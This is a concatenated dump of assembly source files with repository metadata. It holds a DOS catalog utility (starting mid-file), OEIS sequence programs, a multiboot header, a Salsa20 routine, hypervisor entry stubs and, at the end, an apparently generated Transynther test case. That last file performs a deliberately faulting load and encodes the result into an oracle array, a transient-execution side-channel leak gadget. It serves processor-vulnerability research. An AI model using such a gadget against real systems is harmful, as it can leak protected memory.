; 256 REPNZ SCASB MOV CX,DI DEC CX SUB CX,DX ; bytes to 0 JZ WRIS0E MOV SI,DX MOV BX,LBUFN MOV AX,BX ADD AX,CX ; anticipated new length AND AH,AH JNZ WRIS0T WRIS0G: ADD LBUFN,CX MOV DI,OFFSET LBUFF ADD DI,BX REP MOVSB WRIS0E: POP DI POP SI POP DX POP CX POP BX RET WRIS0T: XOR CX,CX INC CX ; 256 SUB CX,BX ; sub LBUFN JC WRIS0E JMP WRIS0G WRITCR: ; write cr, lf to buffer, then send to device PUSH BX PUSH CX PUSH DX PUSH DI MOV BX,WORD PTR LBUFN MOV DI,OFFSET LBUFF MOV BYTE PTR [DI+BX],CR MOV BYTE PTR [DI+BX+1],LF INC BX INC BX MOV CX,BX MOV BX,CATHAN MOV DX,DI MOV AH,40H PUSH CX INT 21H POP CX CMP AX,CX MOV LBUFN,0 POP DI POP DX POP CX POP BX JNZ WRITCRC RET WRITCRC: MOV DX,OFFSET ERR$ CALL STRCON CALL SHOCAT CALL CONCRL MOV AL,6 ; cats.dir write errorlevel=6 JMP EXIT PUBLIC SHOCAT,SHOLAB,CONCRL,STRCON,STRCL,STRCE SHOCAT: ; send catdir buffer to console to null PUSH DX MOV DX,OFFSET CATDIR CALL STRCON POP DX RET SHOLAB: ; send vlab buffer to console to null PUSH CX PUSH DX PUSH DI MOV DI,OFFSET VLAB MOV DX,DI XOR AL,AL MOV CX,48 REPNZ SCASB DEC DI CALL STRCON ; to catalog POP DI POP DX POP CX RET PUBLIC CLNAME ; get program name from environment ; and put into DX if DOSVER=3 CLNAME: CMP DOSVER,3 JNC CLN1 RET CLN1: PUSH ES PUSH DS PUSH DI PUSH SI MOV ES,DS:2CH XOR AX,AX MOV DI,AX MOV CX,4096 REPNZ SCASW JCXZ CLNF MOV SI,DI ; save di MOV DI,AX ; zero di MOV CX,4096 INC DI REPNZ SCASW JCXZ CLNF CMP SI,DI JNC CLN2 MOV DI,SI CLN2: ADD DI,2 MOV SI,DX XCHG SI,DI MOV AX,ES MOV CX,DS MOV ES,CX MOV DS,AX MOV CX,78 CLNM: LODSB STOSB AND AL,AL JZ CLNS LOOP CLNM CLNF: STC CLNS: POP SI POP DI POP DS POP ES RET ANSWER: CALL STRCON ; show question MOV AH,1 INT 21H PUSH AX CALL CONCRL POP AX AND AL,5FH CMP AL,'Y' JZ ANSWY ; zero means Yes CMP AL,'N' JZ ANSWN STC ; carry means no answer ANSWY: RET ANSWN: AND AL,AL ; not zero means No RET CONCRL: ; send cr, lf to console PUSH DX MOV DX,OFFSET CRLF$ CALL STRCON POP DX RET STRCON: PUSH AX MOV AH,6 PUSH SI PUSH DX MOV SI,DX STRCL: LODSB AND AL,AL JZ STRCE MOV DL,AL INT 21H JMP STRCL STRCE: POP DX POP SI POP AX RET EVEN DW 0 FILBUF EQU $ ARCDTA EQU $+128 ARCPATH EQU $+256 PUBLIC DTAB DTAB EQU FILBUF+512 ; DTA find buffers CATS ENDS END START ;
20.383598
73
0.69695
c1ad6b7712ba1ddc9ff182f43899ab81ca835257
747
asm
Assembly
oeis/061/A061084.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/061/A061084.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/061/A061084.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A061084: Fibonacci-type sequence based on subtraction: a(0) = 1, a(1) = 2 and a(n) = a(n-2)-a(n-1). ; Submitted by Christian Krause ; 1,2,-1,3,-4,7,-11,18,-29,47,-76,123,-199,322,-521,843,-1364,2207,-3571,5778,-9349,15127,-24476,39603,-64079,103682,-167761,271443,-439204,710647,-1149851,1860498,-3010349,4870847,-7881196,12752043,-20633239,33385282,-54018521,87403803,-141422324,228826127,-370248451,599074578,-969323029,1568397607,-2537720636,4106118243,-6643838879,10749957122,-17393796001,28143753123,-45537549124,73681302247,-119218851371,192900153618,-312119004989,505019158607,-817138163596,1322157322203,-2139295485799 mov $2,$0 mov $3,2 lpb $2 div $1,2 sub $1,$3 sub $2,1 add $3,$1 mul $1,-2 lpe add $3,$1 mov $0,$3 div $0,2
43.941176
494
0.733601
b698299af089d24a2014c8ff4fd7c7e741f49edf
2,157
asm
Assembly
programs/oeis/153/A153260.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/153/A153260.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/153/A153260.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A153260: a(n) = n^3 - 3*(n+3)^2. ; -27,-47,-67,-81,-83,-67,-27,43,149,297,493,743,1053,1429,1877,2403,3013,3713,4509,5407,6413,7533,8773,10139,11637,13273,15053,16983,19069,21317,23733,26323,29093,32049,35197,38543,42093,45853,49829,54027,58453,63113,68013,73159,78557,84213,90133,96323,102789,109537,116573,123903,131533,139469,147717,156283,165173,174393,183949,193847,204093,214693,225653,236979,248677,260753,273213,286063,299309,312957,327013,341483,356373,371689,387437,403623,420253,437333,454869,472867,491333,510273,529693,549599,569997,590893,612293,634203,656629,679577,703053,727063,751613,776709,802357,828563,855333,882673,910589,939087,968173,997853,1028133,1059019,1090517,1122633,1155373,1188743,1222749,1257397,1292693,1328643,1365253,1402529,1440477,1479103,1518413,1558413,1599109,1640507,1682613,1725433,1768973,1813239,1858237,1903973,1950453,1997683,2045669,2094417,2143933,2194223,2245293,2297149,2349797,2403243,2457493,2512553,2568429,2625127,2682653,2741013,2800213,2860259,2921157,2982913,3045533,3109023,3173389,3238637,3304773,3371803,3439733,3508569,3578317,3648983,3720573,3793093,3866549,3940947,4016293,4092593,4169853,4248079,4327277,4407453,4488613,4570763,4653909,4738057,4823213,4909383,4996573,5084789,5174037,5264323,5355653,5448033,5541469,5635967,5731533,5828173,5925893,6024699,6124597,6225593,6327693,6430903,6535229,6640677,6747253,6854963,6963813,7073809,7184957,7297263,7410733,7525373,7641189,7758187,7876373,7995753,8116333,8238119,8361117,8485333,8610773,8737443,8865349,8994497,9124893,9256543,9389453,9523629,9659077,9795803,9933813,10073113,10213709,10355607,10498813,10643333,10789173,10936339,11084837,11234673,11385853,11538383,11692269,11847517,12004133,12162123,12321493,12482249,12644397,12807943,12972893,13139253,13307029,13476227,13646853,13818913,13992413,14167359,14343757,14521613,14700933,14881723,15063989,15247737 mov $1,121 mov $2,4 sub $2,$0 mov $3,1 mov $5,$0 add $0,1 lpb $0,1 mov $0,0 add $2,$3 cmp $1,$2 add $1,8 sub $2,$1 mov $1,1 sub $1,$2 sub $1,2 mov $4,3 mul $4,$2 mul $3,$4 mul $3,$1 add $3,$4 lpe mov $1,$3 mov $6,$5 mul $6,$5 mul $6,$5 add $1,$6
71.9
1,848
0.804358
dbdf9288ee79419cfee05eb0671fcf5edd205bba
379
asm
Assembly
src/arch/x86_64/multiboot_header.asm
wibbe/writing-an-os-in-rust
85f435ec867546cde30e90fe9eaf05ce32ca5520
[ "MIT" ]
null
null
null
src/arch/x86_64/multiboot_header.asm
wibbe/writing-an-os-in-rust
85f435ec867546cde30e90fe9eaf05ce32ca5520
[ "MIT" ]
null
null
null
src/arch/x86_64/multiboot_header.asm
wibbe/writing-an-os-in-rust
85f435ec867546cde30e90fe9eaf05ce32ca5520
[ "MIT" ]
null
null
null
section .multiboot_header header_start: dd 0xe85250d6 ; magic number (multiboot 2) dd 0 ; architecture 0 (protected mode i386) dd header_end - header_start ; header length ; checksum dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; insert optional multiboot tags here ; required end tag dw 0 ; type dw 0 ; flags dd 8 ; size header_end:
23.6875
64
0.707124
9d1b53d9f553fdd1c3bc14acfac08a45ec833fab
5,026
asm
Assembly
release/src/router/nettle/x86_64/salsa20-crypt.asm
ghsecuritylab/Toastman-Tinc
86307e635ac777050d7f48486fe1411bd7249aa0
[ "FSFAP" ]
34
2015-02-04T18:03:14.000Z
2020-11-10T06:45:28.000Z
release/src/router/nettle/x86_64/salsa20-crypt.asm
ghsecuritylab/Toastman-Tinc
86307e635ac777050d7f48486fe1411bd7249aa0
[ "FSFAP" ]
5
2015-06-30T21:17:00.000Z
2016-06-14T22:31:51.000Z
release/src/router/nettle/x86_64/salsa20-crypt.asm
ghsecuritylab/Toastman-Tinc
86307e635ac777050d7f48486fe1411bd7249aa0
[ "FSFAP" ]
15
2015-10-29T14:21:58.000Z
2022-01-19T07:33:14.000Z
C nettle, low-level cryptographics library C C Copyright (C) 2012 Niels Möller C C The nettle library is free software; you can redistribute it and/or modify C it under the terms of the GNU Lesser General Public License as published by C the Free Software Foundation; either version 2.1 of the License, or (at your C option) any later version. C C The nettle library is distributed in the hope that it will be useful, but C WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY C or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public C License for more details. C C You should have received a copy of the GNU Lesser General Public License C along with the nettle library; see the file COPYING.LIB. If not, write to C the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, C MA 02111-1301, USA. define(<CTX>, <%rdi>) define(<LENGTH>, <%rsi>) define(<DST>, <%rdx>) define(<SRC>, <%rcx>) define(<T64>, <%r8>) define(<POS>, <%r9>) define(<X0>, <%xmm0>) define(<X1>, <%xmm1>) define(<X2>, <%xmm2>) define(<X3>, <%xmm3>) define(<T0>, <%xmm4>) define(<T1>, <%xmm5>) define(<M0101>, <%xmm6>) define(<M0110>, <%xmm7>) define(<M0011>, <%xmm8>) define(<COUNT>, <%rax>) include_src(<x86_64/salsa20.m4>) C Possible improvements: C C Do two blocks (or more) at a time in parallel, to avoid limitations C due to data dependencies. C C Avoid redoing the permutation of the input for each block (all but C the two counter words are constant). Could also keep the input in C registers. .file "salsa20-crypt.asm" C salsa20_crypt(struct salsa20_ctx *ctx, unsigned length, C uint8_t *dst, const uint8_t *src) .text ALIGN(16) PROLOGUE(nettle_salsa20_crypt) W64_ENTRY(4, 9) test LENGTH, LENGTH jz .Lend C Load mask registers mov $-1, XREG(COUNT) movd XREG(COUNT), M0101 pshufd $0x09, M0101, M0011 C 01 01 00 00 pshufd $0x41, M0101, M0110 C 01 00 00 01 pshufd $0x22, M0101, M0101 C 01 00 01 00 .Lblock_loop: movups (CTX), X0 movups 16(CTX), X1 movups 32(CTX), X2 movups 48(CTX), X3 C On input, each xmm register is one row. We start with C C 0 1 2 3 C K K K C 4 5 6 7 K C I I C 8 9 10 11 B B C K C 12 13 14 15 K K K C C C Diagrams are in little-endian order, with least significant word to C the left. We rotate the columns, to get instead C C 0 5 10 15 C C C C C 4 9 14 3 K B K K C 8 13 2 7 B K K I C 12 1 6 11 K K I K C C The original rows are now diagonals. SWAP(X0, X1, M0101) SWAP(X2, X3, M0101) SWAP(X1, X3, M0110) SWAP(X0, X2, M0011) movl $10, XREG(COUNT) ALIGN(16) .Loop: QROUND(X0, X1, X2, X3) C For the row operations, we first rotate the rows, to get C C 0 5 10 15 C 3 4 9 14 C 2 7 8 13 C 1 6 11 12 C C Now the original rows are turned into into columns. (This C SIMD hack described in djb's papers). pshufd $0x93, X1, X1 C 11 00 01 10 (least sign. left) pshufd $0x4e, X2, X2 C 10 11 00 01 pshufd $0x39, X3, X3 C 01 10 11 00 QROUND(X0, X3, X2, X1) C Inverse rotation of the rows pshufd $0x39, X1, X1 C 01 10 11 00 pshufd $0x4e, X2, X2 C 10 11 00 01 pshufd $0x93, X3, X3 C 11 00 01 10 decl XREG(COUNT) jnz .Loop SWAP(X0, X2, M0011) SWAP(X1, X3, M0110) SWAP(X0, X1, M0101) SWAP(X2, X3, M0101) movups (CTX), T0 movups 16(CTX), T1 paddd T0, X0 paddd T1, X1 movups 32(CTX), T0 movups 48(CTX), T1 paddd T0, X2 paddd T1, X3 C Increment block counter incq 32(CTX) cmp $64, LENGTH jc .Lfinal_xor movups 48(SRC), T1 pxor T1, X3 movups X3, 48(DST) .Lxor3: movups 32(SRC), T0 pxor T0, X2 movups X2, 32(DST) .Lxor2: movups 16(SRC), T1 pxor T1, X1 movups X1, 16(DST) .Lxor1: movups (SRC), T0 pxor T0, X0 movups X0, (DST) lea 64(SRC), SRC lea 64(DST), DST sub $64, LENGTH ja .Lblock_loop .Lend: W64_EXIT(4, 9) ret .Lfinal_xor: cmp $32, LENGTH jz .Lxor2 jc .Llt32 cmp $48, LENGTH jz .Lxor3 jc .Llt48 movaps X3, T0 call .Lpartial jmp .Lxor3 .Llt48: movaps X2, T0 call .Lpartial jmp .Lxor2 .Llt32: cmp $16, LENGTH jz .Lxor1 jc .Llt16 movaps X1, T0 call .Lpartial jmp .Lxor1 .Llt16: movaps X0, T0 call .Lpartial jmp .Lend .Lpartial: mov LENGTH, POS and $-16, POS test $8, LENGTH jz .Llt8 C This "movd" instruction should assemble to C 66 49 0f 7e e0 movq %xmm4,%r8 C Apparently, assemblers treat movd and movq (with the C arguments we use) in the same way, except for osx, which C barfs at movq. movd T0, T64 xor (SRC, POS), T64 mov T64, (DST, POS) lea 8(POS), POS pshufd $0xee, T0, T0 C 10 11 10 11 .Llt8: C And this is also really a movq. movd T0, T64 test $4, LENGTH jz .Llt4 mov XREG(T64), XREG(COUNT) xor (SRC, POS), XREG(COUNT) mov XREG(COUNT), (DST, POS) lea 4(POS), POS shr $32, T64 .Llt4: test $2, LENGTH jz .Llt2 mov WREG(T64), WREG(COUNT) xor (SRC, POS), WREG(COUNT) mov WREG(COUNT), (DST, POS) lea 2(POS), POS shr $16, XREG(T64) .Llt2: test $1, LENGTH jz .Lret xor (SRC, POS), LREG(T64) mov LREG(T64), (DST, POS) .Lret: ret EPILOGUE(nettle_salsa20_crypt)
21.387234
78
0.675288
c6cffbdfd7e17a9beab9bf4344e29bc92e864d9b
206
asm
Assembly
programs/oeis/173/A173323.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/173/A173323.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/173/A173323.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A173323: 3*n! - 1. ; 2,2,5,17,71,359,2159,15119,120959,1088639,10886399,119750399,1437004799,18681062399,261534873599,3923023103999,62768369663999,1067062284287999 cal $0,142 mov $1,$0 mul $1,3 sub $1,1
25.75
144
0.762136
fbf7b96e54a878b0a2159aa46ffdadab64b07bec
680
asm
Assembly
programs/oeis/181/A181427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/181/A181427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/181/A181427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A181427: n+[n^2 if n is odd or n^3 if n is even]. ; 2,10,12,68,30,222,56,520,90,1010,132,1740,182,2758,240,4112,306,5850,380,8020,462,10670,552,13848,650,17602,756,21980,870,27030,992,32800,1122,39338,1260,46692,1406,54910,1560,64040,1722,74130,1892,85228,2070,97382,2256,110640,2450,125050,2652,140660,2862,157518,3080,175672,3306,195170,3540,216060,3782,238390,4032,262208,4290,287562,4556,314500,4830,343070,5112,373320,5402,405298,5700,439052,6006,474630,6320,512080,6642,551450,6972,592788,7310,636142,7656,681560,8010,729090,8372,778780,8742,830678,9120,884832,9506,941290,9900,1000100 mov $2,$0 add $0,4 mov $1,$0 sub $0,3 mod $1,2 add $1,2 pow $0,$1 add $0,1 add $0,$2
52.307692
541
0.758824
ff29b4772137ee6b714e76b7173991a7ea61904d
362
asm
Assembly
programs/oeis/014/A014306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/014/A014306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/014/A014306.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A014306: a(n) = 0 if n of form m(m+1)(m+2)/6, otherwise 1. ; 0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 seq $0,332663 ; Even bisection of A332662: the x-coordinates of an enumeration of N X N. min $0,1
60.333333
201
0.571823
b7fea39c9d1a91dee5b2559530b1128c1f631ec0
2,298
asm
Assembly
src/xpf_core/windows/vt_hv64.asm
assqingt/NoirVisor
d7ab18bde41cc1e8e0a6b22b1f34f5c62f42ed20
[ "MIT" ]
1
2019-10-17T14:11:55.000Z
2019-10-17T14:11:55.000Z
src/xpf_core/windows/vt_hv64.asm
morelli690/_VMM_HV_NoirVisor
44b8bd8fe23b5d0858164e2393fc61449dc271ca
[ "MIT" ]
null
null
null
src/xpf_core/windows/vt_hv64.asm
morelli690/_VMM_HV_NoirVisor
44b8bd8fe23b5d0858164e2393fc61449dc271ca
[ "MIT" ]
1
2019-10-28T17:48:58.000Z
2019-10-28T17:48:58.000Z
; NoirVisor - Hardware-Accelerated Hypervisor solution ; ; Copyright 2018-2019, Zero Tang. All rights reserved. ; ; This file is part of NoirVisor VT Core written in assembly language. ; ; This program is distributed in the hope that it will be successful, but ; without any warranty (no matter implied warranty of merchantability or ; fitness for a particular purpose, etc.). ; ; File location: ./xpf_core/windows/vt_hv64.asm .code extern nvc_vt_subvert_processor_i:proc extern nvc_vt_exit_handler:proc ; Macro for pushing all GPRs to stack. pushaq macro push r15 push r14 push r13 push r12 push r11 push r10 push r9 push r8 push rdi push rsi push rbp sub rsp,8 push rbx push rdx push rcx push rax endm ; Macro for poping all GPRs from stack. popaq macro pop rax pop rcx pop rdx pop rbx add rsp,8 pop rbp pop rsi pop rdi pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 endm ;Implement VMX instructions noir_vt_invept proc invept xmmword ptr [rdx],rcx setc al setz cl adc al,cl ret noir_vt_invept endp noir_vt_invvpid proc invvpid xmmword ptr [rdx],rcx setc al setz cl adc al,cl ret noir_vt_invvpid endp noir_vt_vmcall proc vmcall setc al setz cl adc al,cl ret noir_vt_vmcall endp nvc_vt_resume_without_entry proc mov rsp,rcx popaq ; In the restored GPR layout, we have: ; rax=rip ; rcx=rflags ; rdx=rsp mov rsp,rdx ; Restore stack pointer push rcx popfq ; Restore flags register jmp rax ; Restore instruction pointer nvc_vt_resume_without_entry endp nvc_vt_exit_handler_a proc pushaq mov rcx,rsp sub rsp,20h call nvc_vt_exit_handler add rsp,20h popaq vmresume nvc_vt_exit_handler_a endp nvc_vt_subvert_processor_a proc pushfq pushaq mov r8,rsp mov r9,vt_launched sub rsp,20h call nvc_vt_subvert_processor_i ;At this moment, VM-Entry resulted failure. add rsp,20h mov qword ptr [rsp],rax vt_launched: ; There are four conditions why we are here: ; 1. al=0. VM-Entry is successful (Expected condition) ; 2. al=1. VM-Entry failed by valid vm-fail ; 3. al=2. VM-Entry failed by invalid vm-fail (Not possible, though) ; 4. al=3. VM-Entry failed due to invalid guest state popaq popfq ; Things will be handled in code written in C. ret nvc_vt_subvert_processor_a endp end
15.848276
73
0.751523
4dab9eb32de8cd67bcd5ca100575d9fff955a70a
7,121
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_un_4k_/i3-7100_9_0xca_notsx.log_21829_386.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_un_4k_/i3-7100_9_0xca_notsx.log_21829_386.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_un_4k_/i3-7100_9_0xca_notsx.log_21829_386.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x13edf, %rsi lea addresses_D_ht+0x1c976, %rdi nop and %rdx, %rdx mov $8, %rcx rep movsq dec %rsi lea addresses_D_ht+0x17916, %r12 nop nop nop nop nop add %r8, %r8 vmovups (%r12), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdi dec %rcx lea addresses_D_ht+0x1c2d6, %rcx nop nop and $8543, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm2 and $0xffffffffffffffc0, %rcx movaps %xmm2, (%rcx) nop sub %rcx, %rcx lea addresses_A_ht+0xe0f0, %rsi lea addresses_WT_ht+0x1c976, %rdi nop nop nop nop nop sub $7118, %rdx mov $82, %rcx rep movsw inc %rdx lea addresses_D_ht+0x1e176, %rsi nop nop nop nop add $56881, %r8 mov (%rsi), %r10 nop and %rsi, %rsi lea addresses_D_ht+0x218e, %rsi lea addresses_normal_ht+0x42e6, %rdi nop nop and $55563, %r12 mov $100, %rcx rep movsq nop nop sub %rsi, %rsi lea addresses_WC_ht+0x158f6, %rsi lea addresses_WC_ht+0x1bbe, %rdi clflush (%rdi) nop nop nop nop xor %r14, %r14 mov $16, %rcx rep movsl nop nop xor $23352, %r10 lea addresses_UC_ht+0x10a76, %r8 nop nop nop nop sub $17835, %rcx mov $0x6162636465666768, %r14 movq %r14, (%r8) sub %rcx, %rcx lea addresses_WC_ht+0x5876, %rsi lea addresses_D_ht+0xd4a6, %rdi xor %r12, %r12 mov $68, %rcx rep movsl nop nop nop nop nop cmp $17440, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r8 push %rbp push %rcx push %rsi // Store lea addresses_UC+0xf1de, %r14 cmp $42568, %r15 movl $0x51525354, (%r14) xor $29557, %rcx // Store lea addresses_UC+0x17176, %rcx nop and %r14, %r14 movw $0x5152, (%rcx) nop nop nop and %rbp, %rbp // Store mov $0x4d2c820000000e76, %r8 nop nop nop sub $25800, %rsi movb $0x51, (%r8) nop nop nop nop nop cmp %rsi, %rsi // Faulty Load mov $0x57247e0000000176, %r14 nop nop nop sub %r12, %r12 movntdqa (%r14), %xmm7 vpextrq $0, %xmm7, %rcx lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'src': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True}} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'6d': 33, 'b4': 1, '00': 16, '52': 21779} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 